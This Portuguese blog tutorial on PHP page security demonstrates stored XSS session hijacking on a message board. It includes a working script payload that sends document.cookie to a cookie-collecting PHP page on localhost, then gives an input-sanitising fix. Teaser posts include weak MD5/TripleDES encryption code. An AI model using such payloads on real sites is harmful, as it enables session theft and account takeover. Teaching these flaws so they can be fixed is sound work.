Avançar para o conteúdo principal

Segurança em páginas PHP - Parte 2

Na segunda parte desta série de artigos vamos explorar uma página de mensagens, ao estilo de um forum, para fazer um ataque de session hijacking.

Primeiro o código da página é o seguinte:



Agora o problema: o input da página não é verificado para a existência de carateres potencialmente perigosos, assim a página permite a execução de javascript.

Para além de pequenas brinqueiras que podem ser tentadas como abrir popups ou redirecionar o browser para outras páginas, a página é vulnerável a outro tipo de ataque que permite capturar o cookie de sessão e envia-lo para outro servidor. Será este o tipo de ataque que vamos demonstrar aqui.

Com o seguinte código inserido na input box para a mensagem vamos fazer com o que browser tente abrir um imagem, que na realidade é um script PHP que vai resgatar o cookie de sessão:

<script>document.write('<img src="http://localhost:8088/login/submitcookie.php?cookie='+escape(document.cookie)+'"/>');</script>

O código PHP que vai capturar o cookie é o seguinte:



Neste caso o código vai criar um ficheiro de texto com o valor do cookie, permitindo a sessão atual do utilizador possa ser capturada bastando para isso injetar esse cookie no browser do atacante.

Para tornar a página segura é necessário validar o input, para isso podemos criar uma função:
function test_input($data) {
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data);
return $data;
}
(código retirado de www.w3schools.com)

Claro que também deviamos utilizar parâmetros em vez de strings concatenadas para o código SQL.




Comentários

Mensagens populares deste blogue

Upgrade do Windows Home para Pro sem formatar

 Há algum tempo que tentava fazer o upgrade do meu Windows 10 da versão Home para a versão Pro, mas chegava sempre a um ponto em que me era solicitado para formatar o sistema e não estava para isso. Finalmente conseguinte seguindo estes passos: - seguinte estes passos  utilizei uma das chaves genéricas para o Windows 10 Pro e fui a Settings > Update & Security > Activation > Change the product key; - após inserir uma das chaves o Windows instala as funcionalidades Pro e pede para reiniciar; - agora tem o Windows Pro mas não está ativado, assim fui ao site urcdkeys  onde comprei uma chave para o Windows Pro por menos de €20; - com essa chave voltei a funcionalidade Change the product key e ativei o Windows; - e pronto, Windows Pro ativado sem formatar ou reinstalar. Importante : eu não tenho nada a ver com o site urcdkeys por isso a vossa experiência pode correr de forma diferente da minha.

Encriptar e Desencriptar

Com o .Net podemos facilmente codificar e descodificar mensagens através do namespace Cryptography. Neste post vamos estudar um programa que encripta um texto com base numa palavra passe e posteriormente descodifica a mensagem. Começamos por criar uma função para encriptar: string codifica(string mensagem, string ppasse) {   //este vector vai ficar com a mensagem encriptada   byte [] mensagem_codificada;  //vamos utilizar codificação UTF8   System.Text.UTF8Encoding UTF8 = new System.Text.UTF8Encoding();   // Vamos utilizar o algoritmo MD5 para fazer o Hash da palavra passe   MD5CryptoServiceProvider HashProvider = new MD5CryptoServiceProvider();   //Agora podemos então fazer o hash da palavra passe   byte[] TDESChave = HashProvider.ComputeHash(UTF8.GetBytes(ppasse));   //De seguida vamos escolher o algoritmo de encriptação   TripleDESCryptoServiceProvider TDESAlgoritmo = new TripleDESCryptoServiceProvider();   //Confi...

PONG em Flash AS3.0

Mais um pequeno jogo para demonstrar algumas das funcionalidades do AS3.0. Para este exemplo vamos implementar uma versão do Pong. Para este Pong vamos criar a possibilidade de acelerar a bola com a raqueta e, para tornar o jogo mais difícil, quando se atingir uma determinada pontuação fazemos aparecer uma parede no meio do campo de jogo. O código é muito parecido com o jogo do post anterior, mas um pouco mais complicado. Para controlar a nossa raqueta utilizamos a seguinte função: function teclado(e:KeyboardEvent):void{ dir_j1=0; if (e.keyCode == Keyboard.UP){ if(jogador1.y>0) jogador1.y -=5; dir_j1=-5; } if (e.keyCode == Keyboard.DOWN){ if(jogador1.y<370) jogador1.y +=5; dir_j1=5; } } Agora está mais simples pois só percorremos as linhas, ou seja, a coluna nunca muda. A raqueta que é controlada pelo computador depende do seguinte código: function movepc():void { if (bola.y>jogador2.y) jogador2.y = jogador2.y + velocidade_y; if (bola.y<jogador2.y) joga...